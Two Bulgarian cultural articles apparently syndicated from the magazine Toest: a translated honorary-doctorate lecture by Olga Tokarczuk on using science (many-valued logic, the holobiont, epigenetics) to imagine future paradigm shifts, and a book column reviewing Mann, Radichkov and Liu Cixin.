Врачуване по наука. Лекция на Олга Токарчук

Post Syndicated from Тоест original https://toest.bg/olga-tokarczuk-lecture-university-of-warsaw/

На 23 февруари 2022 г. Олга Токарчук бе удостоена със званието „доктор хонорис кауза“ на Варшавския университет, нейната алма-матер. В лекцията си на церемонията полската писателка и нобелова лауреатка се осланя на науката – от квантовата физика и логиката до медицината и епигенетиката, – за да се опита да предскаже бъдещето. Днес предоставяме на читателите на „Тоест“ пълния текст на тази богата и плътна лекция в превод на Крум Крумов.


Ваши благородия, уважаеми Сенате и Вие, почетни гости,

Преди всичко бих искала да се поклоня ниско на брутално атакуваните от московския режим украинци и украинки. И макар да не намирам думи за това варварство, искам да им засвидетелствам своята… нашата солидарност и подкрепа и да им дам утеха. Атаката срещу свободна Украйна за мен е атака срещу Европа. Военното положение няма граници. Веднъж започната, войната ще продължи да съществува в умовете ни дотогава, докато не направим всичко възможно, за да я прекратим.

Настоящият момент, в който заставам пред Вас, е уникален в целия ми живот – това е признанието на работата ми от най-важното за мен учебно заведение, от моята алма-матер. Дойдох във Варшава и в моя университет през август 1980 г. Пристигнах с раница, натъпкана с буркани и книги, за да изкарам студентската си бригада, преди да започна следването си в първи курс. Най-много се изненадах от това, че още с излизането от варшавската Главна гара се озовах очи в очи с историята. По протежение на две от главните артерии в центъра, Йерусалимските алеи и улица „Маршалковска“, един зад друг бяха спрели трамваите и образуваха голям, километричен кръст – започваше Августовската стачка.

Най-много ме изненада това, че Полският фармацевтичен комбинат, където в продължение на месец пъхах памук в шишенцата с лекарства, се оказа силна мотивация за учене. Всъщност бригадите са измислени точно с тази цел. Есента вече живеех на улица „Заменхоф“ и всеки ден минавах през някогашното еврейско гето до Института по психология, който се помещаваше в бившата сграда на Гестапо. В онази варшавска зима от магазините не можеше да се купи нищо, оцелявахме благодарение на студентските столове, а онези от нас, които получаваха колети от вкъщи, имаха право да си мислят, че живеят царски.

През тези пет години следване се формираха моите вътрешни карти, създаваше се езикът, посредством който от този момент нататък назовавах действителността, завързвах приятелства за цял живот, изковавах политическите си възгледи. Студентските стачки, в които участвах – първоначално в сградата на Факултета по психология, впоследствие и във Философския факултет, – за мен се оказаха сред най-важните лекции по гражданско образование. Доброволческата практика в психиатричната болница и в отдела за екологична терапия ми разкри тъмната страна на живота, но наред с това отвори сърцето ми за огромните мащаби на страданието. От моите пациенти се научих да слушам и осъзнах, че животът на всеки човек е достоен да бъде тема за книга.

В настоящия изключителен и паметен за мен момент благодаря на моите преподаватели за това, че отвориха очите и сърцето ми, разпалиха любопитството ми, научиха ме да плавам из необятните океани на знанието и събудиха у мен нуждата от непрестанно търсене, от изследване на границите и от критично мислене. Бих искала горещо да благодаря на автора на тържественото слово – професор Анджей Менцвел, чиито трудове многократно са ме вдъхновявали и ми позволиха да вникна в тънкостите на културата. Благодаря също така на рецензентките и рецензентите ми за внимателния и добронамерен прочит на моите текстове.

Трябва да призная, че бях обзета от съмнения дали в тези толкова объркани военни времена имам право да прочета лекцията, която бях подготвила за случая още преди година и половина. Дали сега, когато цензурата се завръща и директори на театри биват сваляни за назидание, отнемайки на културата свободата на творческото изразяване; когато се правят опити за прокарване на анахронична програмна антиреформа на образованието под знака на надзора и контрола; когато през Беловежката гора издигат масивна ограда, нанасяща огромни щети на природата, а на всички нас – болезнени морални загуби… редно ли е да прочета тази отдавна подготвена лекция? Тя е възхвала на въображението и най-вече на радостта от мисловния процес – един оптимистичен, надявам се, текст, който доказва, че мисленето ни прави свободни хора. Затова в крайна сметка реших: да, ще прочета тази лекция.

Врачуване по наука

През изминалите векове са съществували най-различни форми за предсказване на бъдещето: от оракули и наблюдение на природата до контакти със свръхестествени сили. Ще се обърна за примери към Античността, когато паралелно с многовековната астрологическа традиция са съществували различни видове мантии: повече или по-малко очевидни. Към първата група принадлежат ониромантията – врачуване по сънища, аритомантията – врачуване по числа, хиромантията – гадаене на бъдещето по линиите на дланта, и серомантията, която вещае по излетия във вода восък. С предвиждане на бъдещето се е занимавала също и литературата, като в по-голяма си част е сътворявала ужасяващи и дистопични визии.

Съвременният жанр на научната фантастика от един момент на развитието си започва директно да се основава на създадената още през ХХ век наука, наречена футурология. В произведенията си Станислав Лем и особено моят любимец Филип К. Дик съумяват по един невероятен начин да предвидят човешките изобретения. Когато чета тези двама автори, често ме побиват тръпки. Литературата се оказва по-добра врачка от самата научно обоснована футурология. Всъщност последната днес е известна с това, че не работи. Повечето от популярните ѝ прогнози не се сбъднаха.

Но можем ли да врачуваме по самата наука? Мисля, че сред хилядите научни открития можем да намерим и такива, които имат големия потенциал да променят мисленето ни за света по парадигматичен начин. Парадигмата, както знаем поне от трудовете на Томас Кун, е набор от понятия и теории, които формират основата на дадена наука, даже на много науки. Тези теории и понятия по-скоро не са поставяни под въпрос – поне дотогава, докато парадигмата носи творчески, познавателен заряд, което означава, че посредством нея може да бъдат създавани специфични теории съгласно експерименталните данни, с които се занимава дадена област на познанието.

Повечето изследователи приемат парадигмата въз основа на консенсус и макар той да е силно интуитивен, а не изцяло научен процес, поставянето на парадигмата под въпрос от страна на учен обикновено завършва с проблеми и изключване. Помним какви неприятности е имал Николай Коперник, преди да успее да преобърне изцяло възприятията ни за Космоса. Геоцентричната система на Птолемей е изглеждала очевидна и макар погрешна, тя е била приета именно по пътя на консенсуса. Но в същото време е била логически последователна и концептуално е можела да обясни, било то и по доста сложен понякога начин, голяма част от движенията на небесните тела.

Но парадигмата не е веднъж завинаги. Съществуват – и тук отново ще си послужа с Кун – научни революции, които я преобразяват, а заедно с нея преобразяват и дадена дисциплина, често и много други области на познанието и живота. Последиците от революцията на Коперник са засегнали не само полето на действие на астрономите – те са имали също така психологически, философски и религиозни последици, променили са науката, допринесли са за дълбоки промени в отношението на човека към самия себе си и на мястото му в света.

По време на тази прекрасна церемония, която ме титулува и в известен смисъл ме въвежда в академичната общност, бих искала да Ви предложа своеобразна творческа игра, с чиято помощ да се отнесем към най-вълнуващите и стимулиращи въображението научни открития като повод за врачуване, тоест за задвижване на фантазията и сетивата за синтез, без да избягваме добавянето на щипка ексцентричност. И така, нека поставим началото на науката „сциентомантия“ – вид врачуване, който въз основа на научни изследвания предвижда евентуална промяна в досегашните парадигми.

1. Квантовият свят и многозначната логика: no more either or

Откритията на квантовата физика се отразяват на мисленето ни по много вълнуващ начин. Квантовостта така ни очарова, че чак се превърна в мода дори без да вникваме в дълбочина във въпросните открития. Живеем във времена, когато всичко е квантово – от начина на хранене, през медицината, та чак до компютрите. Мисля, че тази загадъчна дума, заета от речника на сфера, за която малцина извън експертите изобщо имат някаква представа, се превърна в знак за нещо ново, способно да промени из основи съществуващия ред и да предложи съвсем различна механика на реалността. Така както в близкото минало дигиталното засенчи аналоговото, а виртуалното предостави на реалното нови, непредсказуеми до момента измерения.

Но в какво се състои новото? Най-просто казано, то излиза извън рамките на класическата схема „или – или“. В науката това ново намира израз не само в квантовата физика, но и в появата на тривалентната логика на Лукашевич, а недълго след това – и на многозначната логика. По-рано са били в сила правилата за логическото разсъждение, описани още от Аристотел. Един от фундаментите на тази класическа логика е било твърдението, че нещо може да бъде или истина, или лъжа – tertium nor datur, както биха казали римляните. Тази система се нарича бивалентна логика. Хамлетовото „да бъдеш или да не бъдеш“ е литературният пример за това разбиране. Датският принц не е и помислял за трета възможност (въпреки че, честно казано, тук би могло да се измисли нещо).

Направил го е обаче, макар и на различна основа, Ян Лукашевич. Смята се, че подбудите на полския учен са имали философско-идеологическо естество – не е могъл да се примири с детерминизма и фатализма, които e носела бивалентността. Ето защо е заключил, че предположенията, отнасящи се за бъдещето, имат и трета стойност. С други думи, нещо като възможност – онова, което има да се случва, дори днес да изглежда неизбежно, съвсем не е задължително да стане. Позовавайки се на известния пример за морската битка от глава девета на Аристотеловото съчинение „За тълкуването“, Лукашевич стига до извода, че е трудно да се направи вярна преценка за утрешния ден: „Въпросът за утрешната морска битка днес не може да бъде нито верен, нито неверен.“

Когато монополът на бивалентността вече е разпределен между полюсите на алтернативата, можем да въвеждаме следващи елементи и квалификации. Но бивалентната логика, изградена в резултат от наблюдаването на света и на неговите явления, за нас се е превърнала в нещо толкова очевидно, че чак интуитивно. Базираните на нея изводи всъщност никога не са ни разочаровали. Само толкова, че когато подобен начин на мислене е бил прилаган към новооткритите в началото на миналия век атомни явления, се е оказало, че този вид логика не работи на субатомно ниво. През 20-те години вече е било известно, че в субатомния свят важат други закони. Бивалентността и тук е подлежала на ревизия. Доколкото логиката я разбива, като умножава – в рамките на нормалното – съществуването между истината и лъжата, дотолкова физиката доказва, че две противоречащи си допреди това възможности са в състояние да се пресичат.

Съгласно принципа на неопределеността, формулиран от Вернер Хайзенберг през 1927 г., не сме в състояние едновременно да измерим определени двойки физически параметри – в случая позиция и импулс – поради корпускулярно-вълновия дуализъм на квантовите обекти, тоест поради факта, че материята в основата си не е само частица, нито само вълна, а излиза, че е едновременно и двете. Сред последиците от тази теория намира място важното твърдение за влиянието на измерванията върху поведението на измерваните обекти. Придоби популярност мисловният експеримент, познат като „котката на Шрьодингер“, който демонстрира т.нар. суперпозиция в квантовия свят – с други думи, идеята, че до момента на наблюдението обектите от този свят се намират във всяко от възможните състояния едновременно. Котката, затворена в кутията с отровен газ, е едновременно и жива, и мъртва.

Връщайки се към логиката на Лукашевич, може да сметнем въпросната суперпозиция за tertium datur – между „да“ и „не“. Колкото и пъти да гледаме в YouTube примерни презентации на тези привидно прости закони, дори и непрестанно да си напомняме, че се отнасят за субатомния свят, те са така контраинтуитивни, така чудати, че е трудно да ги екстраполираме върху обикновеното си ежедневие.

Но все пак като една врачка с малко трескаво и прекалено разбунено въображение си мисля, че ако вземем разгледаните открития и ги сложим в работилницата на въображението, в бъдеще те ще са в състояние да ни доведат до истински пробив. Това би могло да бъде краят на епохата „или – или“ – между нулата и единицата има място за половина, между „да“ и „не“ се намърдва още „възможно е“, между женското и мъжкото може да се смести цяла галерия от различности, между черното и бялото се простира огромен сив океан, а между деня и нощта има още зазоряване и здрач.

В нашите бинарни светове всичко започва да изглежда съмнително и прекалено опростено. Тези бинарности и дуализми ще трябва малко да се разпънат като акордеон и да се превърнат в континуум – в такъв ред, в който между опозициите ще се намери място за известен брой посредници. Донякъде това е съгласие за по-високо ниво на сложност на реалността, в която функционираме. Това ще промени изцяло не само полето на действие там, където сме принуждавани често да направим само един избор – А или Б, под предлог, че той изчерпва всичко. Всички тези „вярва – не вярва“, „умее – не умее“, „подкрепя – не подкрепя“, ще трябва да се замислят върху себе си без никакво „но“.

Промяната във възприятието със сигурност ще повлияе на нашата идентичност – не само половата, но и на идентичността, свързана с нашите социални роли и с принадлежността ни към по-големи групи. Анахронични понятия като например „народ“ ще бъдат дефинирани наново, спрямо тази логика човек може да бъде едновременно поляк, но също така полуескимос и четвърт тасманиец. Предвид морето от възможности хората ще имат нужда от различни начини за навигиране из реалността, което вероятно ще се окаже по-взискателно в интелектуално отношение. Още по-опасни ще станат изкушенията да се опростява всичко до възможно най-елементарни измерения, но и да се размива и размътва истината. Със сигурност ще се появят някои нови консултантски професии, нови приложения, които ще подреждат тази повишена комплексност.

Без съмнение промяната ще се отрази и в езика. Ще се родят нови думи, които да запълнят пространството между полюсите „или – или“. Ще се промени етиката, разбирането за морал, неминуемо и наказателните кодекси. Но тази промяна, ако изобщо настане, все пак ще отнеме стотици години. Свят, който се осланя на многозначната логика – днес това е една завладяваща, макар и трудна за осмисляне идея.

2. Холобионт и различните форми на симбиотични взаимоотношения в тялото на живите същества: no more single one

Едно наглед невинно и не особено важно откритие на границата между биологията и медицината – макар и предвидено от учени визионери като Лин Маргулис – ни отвежда към вътрешността на човека и към тялото, което не принадлежи само на човека, защото се оказва, че в него живеят повече организми, отколкото сме си представяли. То е обитавано от над 39 трилиона клетки на микроорганизми, които изграждат т.нар. микробиом. Получаваме го от майката още с раждането и след това – пиейки млякото ѝ. Без него бихме били изложени на атака от страна на патогените. Но микробиомът влияе и върху нашите емоции, тъй като е свързан с нервната ни система.

Изследователите все по-често постулират разглеждането на човешкия организъм и обитаващите го симбиотични микроби като холобионт – или организъм, съставен от много организми. Изключително интересно е, че нашият микробиом се променя с времето и е свързан с начина ни на живот. Той е зависим от режима ни на хранене, от работата, от начина, по който се забавляваме – податлив е на човешката култура. Следователно може да се каже, че холобионтът, който представляваме, е многовидово същество, което освен от гостоприемника се състои от бактерии, археи, гъбички, вируси. Нека се опитаме да си представим нашия организъм като своего рода сложна и многопластова организация, наподобяваща екосистема – например коралов риф, в който са разположени различни сътрудничещи си или съперничещи си организми, повече или по-малко зависими един от друг; повече или по-малко свързани помежду си.

От подобна гледна точка въпросът за идентичността става интересен. Какво съм и какво не съм? Как да се определям и възприемам? Ведно с тези организми или може би без тях? Доколко моята идентичност представлява сбор от техните идентичности? Или навярно, след като не мога да живея без тях, те също са „аз“? Правилно ли е да се казва „аз“ и „те“, и изобщо – какво е онова прочуто „аз“?

В ерата преди холобионта имахме съвсем различна визия за себе си. Светът, съвсем като във философията на Лайбниц, се състоеше от отделни хомогенни, индивидуални, монадни същества. И макар те да бяха взаимосвързани, все пак тяхната интегралност и непроницаемост изглеждаха очевидни. Тяхната единичност и отделност бяха извън съмнение. Това възприемане на създанията като отделни и взаимоизключващи се субекти форматираше представата ни за света и за самите нас.

Появата на понятието self  за определяне на отделно, монадно, захвърлено в себе си „аз“, се ситуира във времето на Реформацията и Ренесанса. Именно по това време някой си Гоклениус за първи път употребява думата „психология“, макар предимно в теологически контекст. Представката self  с изключителна лекота се свързвала с останалите и изразявала нов стил на възприятие за света, в който огромно значение започва да има личността, индивидът. Self  някак си винаги е свързвалo човека със самия него. Self-regard, self-destruction, self-love… Оттогава единичното, отделено от света „аз“ се е превърнало в основната перспектива, от която виждаме действителността. Ето защо огромна роля в нашите религии, митологии и фантазии играе обособеността, отделеността, самобитността, самотността, единичността. Подобно на идеално кръгли монади с гладка повърхност, ние се реем в пространството, побутвайки се от време на време, но по същество оставайки отделна, неделима цялост. А всяка вътрешна подялба се приема за болест.

Именно този изолиран от света „аз“ се превръща в обект на много философски и религиозни нравоучения. Във всичко това ни поддържа Бог – също толкова единичен, толкова изолиран и далечен, застинал в пространството, неотносителен по дефиниция и независещ от никого. Към тази форма на монотеизъм се присъединява и чувството за чистота и еднородност на обществата и групите. Монотеизмът лежи в основата на йерархичността, защото единичните и разделени един от друг индивиди могат да бъдат в един или друг ред.

Върху почвата на гореизложените тези и предположения се е формирала цялата западна психология и възприемането на себе си като точно определена монолитна единица, съжителстваща с останалите, но все пак отделена от тях. Затова и наглед невинното откритие, че човек – неговото тяло – е същество, съставено от множество други, които в някаква неясна степен допълнително влияят върху онова, което чувства, от което боледува, а може би и върху начина му на мислене, се оказва фундаментално. Преди всичко това променя взаимоотношенията ни с останалата част от околната среда, понеже излиза, че сме по-скоро свързана, отколкото отделена от нея форма с – както ни се струва – особен статут и специални права, в което непрестанно ни убеждава религията.

Тези отношения са плетеница от изключително сложни взаимовръзки, които не разбираме, но чийто предмет представляваме. И ако отново можем да поврачуваме, то вероятно в бъдеще ще ревизираме убежденията за собствената си ненарушимост и – което би означавало пробив – ще започнем да се отнасяме към себе си като към комплексни, синкретични същества. Подобна посока в начина на мислене би ни накарала да преразгледаме и въпроса за идентичността и да изградим наново личностните модели в психологията. За тази област това би било истинска революция, носеща след себе си нова парадигма.

Тенденцията за разграничаване на единичния интегрален „аз“ се появява и от друга посока и изглежда значително ускорена от пандемията. Дистанционната активност на хората в мрежите благоприятства създаването на различни превъплъщения на самия себе си – раждането на аватари, представляващи определени аспекти или модуси на основната личност. Днес някак си можем да съществуваме в неголям брой превъплъщения. В различни пространства. Понятието „персона“, тоест маска, в психологията престава да бъде метафора и придобива тревожна дословност. Важната последица от тези процеси би била такава, че ако Бог ни е създал по свой образ и подобие, тогава и фигурата на Бог би следвало да се усложни, буквално да стане по-комплексна. Вероятно някъде в далечното бъдеще това би довело до политеизация на религията, до разпад на Бога на съставните му части. Тогава Той би бил вече не Троица, а мултигония, света множественост.

3. Епигенетика: no more fate

В течение на моя живот много неща се промениха в мирогледа и разбирането ми за света. Когато още като тийнейджърка се интересувах от биология, актуалната парадигма се състоеше в убеждението, че придобитите черти не могат да бъдат наследявани. Смяташе се, че еволюционните промени са резултат от случайни генетични мутации, които се унаследяват от следващите поколения.

Терминът „епигенетика“ е използван за първи път през 1944 г. Произхождащата от гръцки представка „епи-“, която междувременно означава „над“ и „на“, в този случай свидетелства за нещо, което е надградено отвъд класическата генетика. Нужно е да помним, че противно на сензационните заглавия в пресата, приемането, че епигенетични процеси съществуват, не нарушава цялата научна парадигма на генетиката. Тук само се предполага, че съществуват природни механизми за регулиране на функцията на гените. Генетичната информация се съхранява в ДНК, а епигенетиката изследва външните детерминанти за регистрирането на тази информация. Известното проучване върху мишки показва, че свързването на травматично събитие с невинна миризма се записва дълбоко в ДНК-то на мишката. Следващото поколение мишки вече разпознава миризмата като неприятелска и опасна.

Този и други подобни експерименти потвърждават, че околната среда де факто не променя самата ДНК структура, тоест не представлява вид генетична мутация с необратим характер, а активно и динамично влияе върху включването и изключването на генната експресия, което вече може да бъде унаследявано. След като преживяването на психологическа травма е в състояние да повлияе върху генната експресия, то имаме право да предполагаме, че нещо подобно може да се случи и с други фактори – например режим на хранене, местоживеене, влечение към стимуланти, бумтене на дискомузика, седене по цял ден пред компютъра, туризъм и много други, вероятно понякога съвсем неочаквани елементи.

Влиянието на реални събития върху генома доказва колко бързо може да се учи живата материя, как най-различни феномени съумяват да влияят върху нещо, което винаги сме смятали за един вид вечно, непроменливо, инертно. Говорейки за нея, не забравяме и мисълта за своеобразната солидност на света, който съществува въпреки – или без оглед на – мимолетността на нашите мисли и чувства, на нашите единични съществувания. Междувременно еволюцията в него протича през цялото време. Тук и сега. В нашите домове и върху масите ни. Въвежда в нас промени, за които дори не си даваме сметка.

Ще си послужа само с един пример: не е изключено децата на днешните тийнейджъри да боравят още по-умело с компютърната клавиатура и тъчскрийна на смартфона. Епигенетиката ни помага да проумеем механизмите, които управляват тези явления. Но тя не е, нека повторим, революцията, която ще зачеркне предишните постижения на генетиката. Тя е по-скоро еволюция, следващ етап на изследванията, които ни доближават до разгадаването на тайната на живота.

За мен обаче е важно друго. Последствието от новия начин на мислене кои всъщност сме и как се превръщаме в тези, които сме, може да има много голямо отражение върху нашата човешка идентичност. Най-вече излиза, че биологичното и културното не трябва да бъдат толкова силно противопоставяни и че можем да гледаме на тях като на два полюса от един общ за тях спектър. След като сме фенотипно гъвкави, което ще рече, че същият този геном може да бъде основа за различни генотипове и по някакъв начин записваме собствения си опит в генома, този факт съвършено променя тежестта на всеки един момент от живота ни. Той престава да бъде нещо, което отминава, нещо повтарящо се, и се превръща в багаж, който изпращаме в бъдещето с помощта на следващите поколения.

Всичко, което ни се случва, придобива различно от досегашното значение. Възползвайки се от свободата на поетическото мислене, можем да кажем, че природата притежава някакъв вид памет и тази памет може да бъде до известна степен авторефлексивна. Следователно еволюцията не е само сляпа последователност от промени, основани върху съвпадения и случайности, а наред с това включва и много по-сложен процес на записване и предаване на индивидуални и групови преживявания по начин, който е все още труден за обяснение.

Разбирам днешното (вероятно според някои прекомерно) възхищение от епигенетиката. Тя дава надежда за деконструкция на понятието за генетичната обреченост, за неизбежната, необратима съдба – онази неотменима воля на боговете, която е записана в нашето ДНК и която човек не е в състояние да промени. Обещава ни, че границите на свободата са по-широки, отколкото до момента сме смятали. Ако толкова много зависи от нашите осъзнати действия, ако промяната в експресията на фаталните гени може, както предполагам, да стане посредством околната среда и много други фактори, върху които имаме влияние, това означава, че ние сме в състояние да формираме съдбата си. Нашата движеща сила и изискването за самоконтрол изглеждат съвършено по-различно, отколкото сме смятали досега. А след като е така, то колко се променя и нашата отговорност за това, което ни заобикаля, за света?

Имам голямо доверие в науката и вярвам, че тя не е просто списък от факти и сбор от теоретичните им обяснения, а ни предлага мощна, динамична визия на постоянно променящата се действителност.

Много Ви благодаря.

Превод от полски: Крум Крумов

Заглавна снимка: Стопкадър от видеоизлъчване на лекцията от 23 февруари 2022 г.

Източник

По буквите: Ман, Радичков, Лиу

Post Syndicated from Зорница Христова original https://toest.bg/po-bukvite-mann-radichkov-liu/

В емблематичната си колонка, започната още през 2008 г. във в-к „Култура“, Марин Бодаков ни представяше нови литературни заглавия и питаше с какво точно тези книги ни променят. Вярваме, че е важно тази рубрика да продължи. От човек до човек, с нова книга в ръка.

„Избраникът“ от Томас Ман

превод от немски Любомир Илиев, корица Люба Халева, София: изд. „Лист“, 2022

Прелюбезни читателю,

Остави многоучената си роба, забрави какво знаеш за Томас Ман, какво знаеш за типовете роман, преоблечи се като цар, излязъл сред простолюдието, и се остави да бъдеш съблазнен. Защото разказвачът на „Избраникът“, нарекъл себе си „Духът на повествованието“, е дошъл да направи именно това – да те води и подлъгва, да те приспива и изненадва, да те омайва, и тъкмо когато си запленен от великолепието на словесната му дреха, да дрънне леко с шутовското си звънче и пак да го скрие сред диплите, та да го следваш захласнат, та да го чуеш отново.

Това е разказвач, който ще ти опише дълга процесия и ще сложи начело дванайсет пажове, хванати за ръце по двойки и кръстосващи краката си в подскоци! Разказвач, който ще ти опише достоен мъж, воин и царски съветник, а после ще го накара да се наведе, та да видиш стърчащите от ухото му косми. Разказвач, който откровено и сладостно те лъже – казва, че най-сетне приключва с описанието на двореца, а после нехайно добавя какво пропускал по този повод (и така цяла страница).

Този разказвач, драги читателю, откровено те поднася – прави се на смирен, докато се намъква в спални, където се случват невъобразими неща, претрепва разни хора, а после се обръща и казва: „… но на теб не ти пука за тях, защото са второстепенни герои – нали, драги читателю?“. Скръцни със зъби и си признай, че си съучастник в греха му, неговият semblable, неговият frere.

Много особена работа е този роман. Писан през 1951 г., той е последният в творчеството на Томас Ман, твърде различен от предишните, за да бъде харесан от страстните им почитатели, твърде несвързан с времето (макар че като роман за лицемерието може би е тъкмо на мястото си в годините на маккартизма, който прогонва и Ман от САЩ), твърде ранен, за да бъде обявен за постмодерен… Макар че си има и „оголване на похвата“, и „ненадежден разказвач“, и пародия, и интертекстуалност – нали се базира на средновековния стихотворен епос „Грегориус“ на Хартман фон Ауе, който пък от своя страна стъпва на по-стара легенда за папата грешник. А тя, както пише самият Ман в есето си за „Избраникът“, преживява дори и българско превъплъщение – в легендата за Павел от Цезарея. Има дори мъничко пастиш, доколкото в прозаичния текст са почти незабележимо вмъкнати римувани мотиви.

Какъв е смисълът обаче да посочваме, че романът е постмодерен before it was cool? Ман е разбирал, че прави нещо съвършено ново, нещо, което не е правено досега, и не се интересува от манифести. Но какво е то? Авторът твърди, че е късна творба, написана „под чертата“ на разпадащата се западна цивилизация – и че е „беззлобна пародия“, в която остава недокосната същността на легендата, идеята за греха и милосърдната прошка. Дали така ще се прочете и у нас? Не знам, драги читателю – духът на повествованието е по-властен от самия автор, а читателят е негов съучастник. Също впрочем и преводачът Любомир Илиев в поредния си майсторски клас, в който камбаните на българския език бият сладкогласно и неспирно, ударени сякаш от невидима ръка.

„Козел“ от Йордан Радичков

корица София Попйорданова, София: изд. „Нике“, 2022

Като стана въпрос за духа на повествованието, много интересно е кой говори в „Козел“ от Йордан Радичков. Ха, ами козелът, разбира се. През неговите „прозрачни очи“ виждаме света от първите страници, с неговите „заешки уши“ чуваме неизвестни ни досега звуци, с неговия нос надушваме какво става. Не само всевиждащ, ами всечуващ и всепомирисващ разказвач. Знаете ли какво са лютицата, смрадливата змия и циганският охлюв? Не. А козелът знае. Та те са самата същност на лятото! Козелът е водачът, козарят (Йоно) е „нейде тъдява“ – преплакната версия на природното. И все пак те са сдвоени, движат се заедно, като двете части на бог Пан.

И ако козарят е „втора цедка“ на природата, то каква цедка са градските чеда, дошли да търсят пещерни рисунки? Макар козарят да се стреми към човешко общуване, тези хора са по-далечни някак, отколкото козите. Интересуват се от неща, които нямат практично обяснение, пък и не са от това време; карат Йоно периодично да си повтаря, че е „лошо да си прост“. Като изключим жената.

На някакво ниво „Козел“ може да се прочете като мъжкарска история, оправдаваща грубата, първична сексуална сила. На друго – като женомразка история за несправедливо набеждаване. През цялото време ние гледаме през очите на мъжкото животно – първо на козела, после на козаря, после на защитника на козаря в делото за изнасилване. Жените не само не ги чуваме, а и едва ги разпознаваме – защото не спират да се сливат в съзнанието на мъжа.

Книгата обаче е много по-интересна от това. Гледната точка на козела ли казах? Езикът на Радичков залага опровержения. Козелът стои „загледан в една точка като дете, което за първи път долепя ухо до телефонната слушалка и телефонната слушалка му говори със съвсем човешки глас“. Кой говори тук? Не животното. Кой кара вълка да се „кръсти наум“? Хм.

Къде сме всъщност?

Човешките мисли напомнят стадо, но това е стадо от разнороден добитък. Всеки носи в себе си и благородна, и коварна мисъл, т.е. всеки носи в себе си и кошутата, и змията. Как тогава в един егрек ще ги запреш и двете? И в кое пасбище да ги оставим? […] Какъв пастир си, човеко – питал съм се понякога – и какво стадо водиш през пасбищата, като си събрал кон, змия, костенурка, пчела, гъска и крава, коза и овца? Ами, мъча се!

Ето това е според мен центърът на новелата. Неслучайно описанието на човешките мисли като разнородни неконтролируеми животни продължава повече от две страници. И там изведнъж се появява един „аз“, който другаде липсва – гласът на самия Радичков. Човекът, който разсъждава за слабата си власт над инстинктите и импулсите, които уж му е дадено да управлява, да пасе. И затова новелата има два края: една и съща сцена завършва първо фатално, а после безобидно; за първия ни се казва, че съществува само в женското въображение. Нека читателят сам да реши къде съществува вторият.

„Безсмъртната смърт“ от Лиу Цъсин

трети том от трилогията „Земното минало“, превод от китайски Стефан Русинов, корица Виктория Стайкова, София: изд. „Колибри“, 2022

От какво зависи дали една книга ще попадне в „полезрението“ на читателя? На първо място – от „зрителното поле“ на самия читател. При малките литератури като българската това зрително поле е сравнително широко – и все пак неговите граници са лесно проследими. Вниманието традиционно се лашка между западната и руската литература, понякога се прави изключение за латиноамерикански автори, а напоследък дори започваме да забелязваме себе си. По принцип обаче авторите от други страни се превеждат у нас едва след като са получили печат за качество в някоя от литературните Меки; с други думи, ако смяташ, че си в трета глуха, много ще внимаваш четенето да не те изпрати в четвърта.

Или поне така беше. Съвременният свят е доста променен от изложението в Чикаго насам – литературните процеси са глобализирани и онова, което се случва в Китай например, ни засяга много повече, отколкото предполагаме. Издатели и преводачи следят този процес и се опитват да откликват; какво научаваме от това, е друг въпрос. Преди време китаистите Стефан Русинов и Радосвета Недкова започнаха да каталогизират издадената у нас съвременна китайска литература в сайта си „Китай на търкалета“ – важно за китаистиката, но и за обикновения читател, който иска да знае откъде да започне и какво да търси. Сайтът е още съвсем обозрим. Самата китайска литература обаче съвсем не е просто средство за опознаване на страната. Да вземем например научната фантастика.

През 1908 г. реформаторът Лян Цичао пише футуристичната история „Хроника на бъдещето на нов Китай“. Действието се развива в далечната 1962 година, когато Китай се радва на технологичен триумф, многопартийна система и световна доминация в името на доброто; чужденците се тълпят да учат езика му, за да си намерят по-добра работа. Друг от първите китайски фантасти описва свят без държави, управници и конфликти (е, жените имат задача предимно да раждат на фона на успокоителна музика, но все пак). Като че ли всички учат в Япония и превеждат Жул Верн. И като че ли вярват, че прогресът е въпрос на добра воля и време.

„Трителянският“ епос на Лиу Цъсин е съвсем друг тип фантастика. От една страна… защото 4 години след въпросната 1962 г. започва Културната революция; Лиу Цъсин я е преживял, тя е смисловата рамка на иначе артъркларковския му сюжет. Тази рамка променя много неща. Първо, дава тласък на цялата фабула – още в първата книга героинята има възможност да избегне гибелта на човечеството, но избира да не го прави заради преследванията и униженията, на които са подложени тя и семейството ѝ. Второ, смисловата рамка оспорва самото движение на „духа на повествованието“ към някаква щастлива развръзка.

Някога хората са мечтаели да „хибернират“ за определен брой години, за да се събудят в по-добър свят. Вярвали са, че прогресът ще ги излекува, че щастието е логично и трябва само да го дочакат. Какво правим обаче, ако бъдещето е поредица от неочаквани беди? Ако заплахата от унищожение на човечеството прерасне в унищожение на Земята, а после на галактиката, Вселената? Вместо deus ex machina Лиу Цъсин постоянно въвежда „дявола от машината“ – нова, неочаквана, всепоглъщаща катастрофа. Всякакви пред- и постмодерни стратегии просто не работят. Главната героиня на тази книга Чън Син на два пъти хибернира по 60 години, но нищо не се променя към по-добро. Дори към края, когато човешкият свят е вече сплескан, двуизмерен, Чън Син и нейният спътник получават като подарък идилична „джобна вселена“, в която да изчакат възраждането на света; но и този „джобен хепиенд“ също пропада.

Защо тогава трилогията на Лиу Цъсин е толкова популярна – авторът е смятан за един от „тримата генерали“ на китайската научна фантастика, печелил е наградата „Хюго“, харесван и промотиран е от Джордж Р. Р. Мартин, а и от Обама. Продажбите са огромни, а екранизацията вече е поле за битки между китайската и западната филмова индустрия: „първият китайски научнофантастичен филм“ е заснет, но застинал за неопределено време в „постпродукция“, а трейлърът за сериала на „Нетфликс“ вече се върти в интернет. Със сигурност скоро ще стигне и до българските „нърдове“.

Ще го харесат ли? О, да, и то точно заради нещата, които ще отблъснат други типове публика: заради сложността на вътрешния свят на романа, чиито правила настойчиво фокусират вниманието ти извън настоящето; заради амалгамата от наука, технологии и екзотична приказност; най-сетне – заради далекоизточния му първопроизход. В крайна сметка много сегашни тийнейджъри слушат кей-поп, учат корейски и гледат „Игра на калмари“ – въпрос на време е китайската фантастика също да влезе в полезрението им. Ако, разбира се, вече не е попаднала благодарение на титаничния труд на преводача Стефан Русинов – да, същият, който прави „Китай на търкалета“, подкаста за превод „Бележка под линия“, а и прелестната комично-сериозна поредица „Нашето литературно предаване“. Това също е „строене на светове“, само че в реалния живот. Дано времената са по-устойчиви от тези в трилогията, та скоро да дадат плод.

Активните дарители на „Тоест“ получават постоянна отстъпка в размер на 20% от коричната цена на всички заглавия от каталога на „Лист“, „Нике“ и „Колибри“, както и на няколко други български издателства в рамките на партньорската програма Читателски клуб „Тоест“. За повече информация прочетете на toest.bg/club.
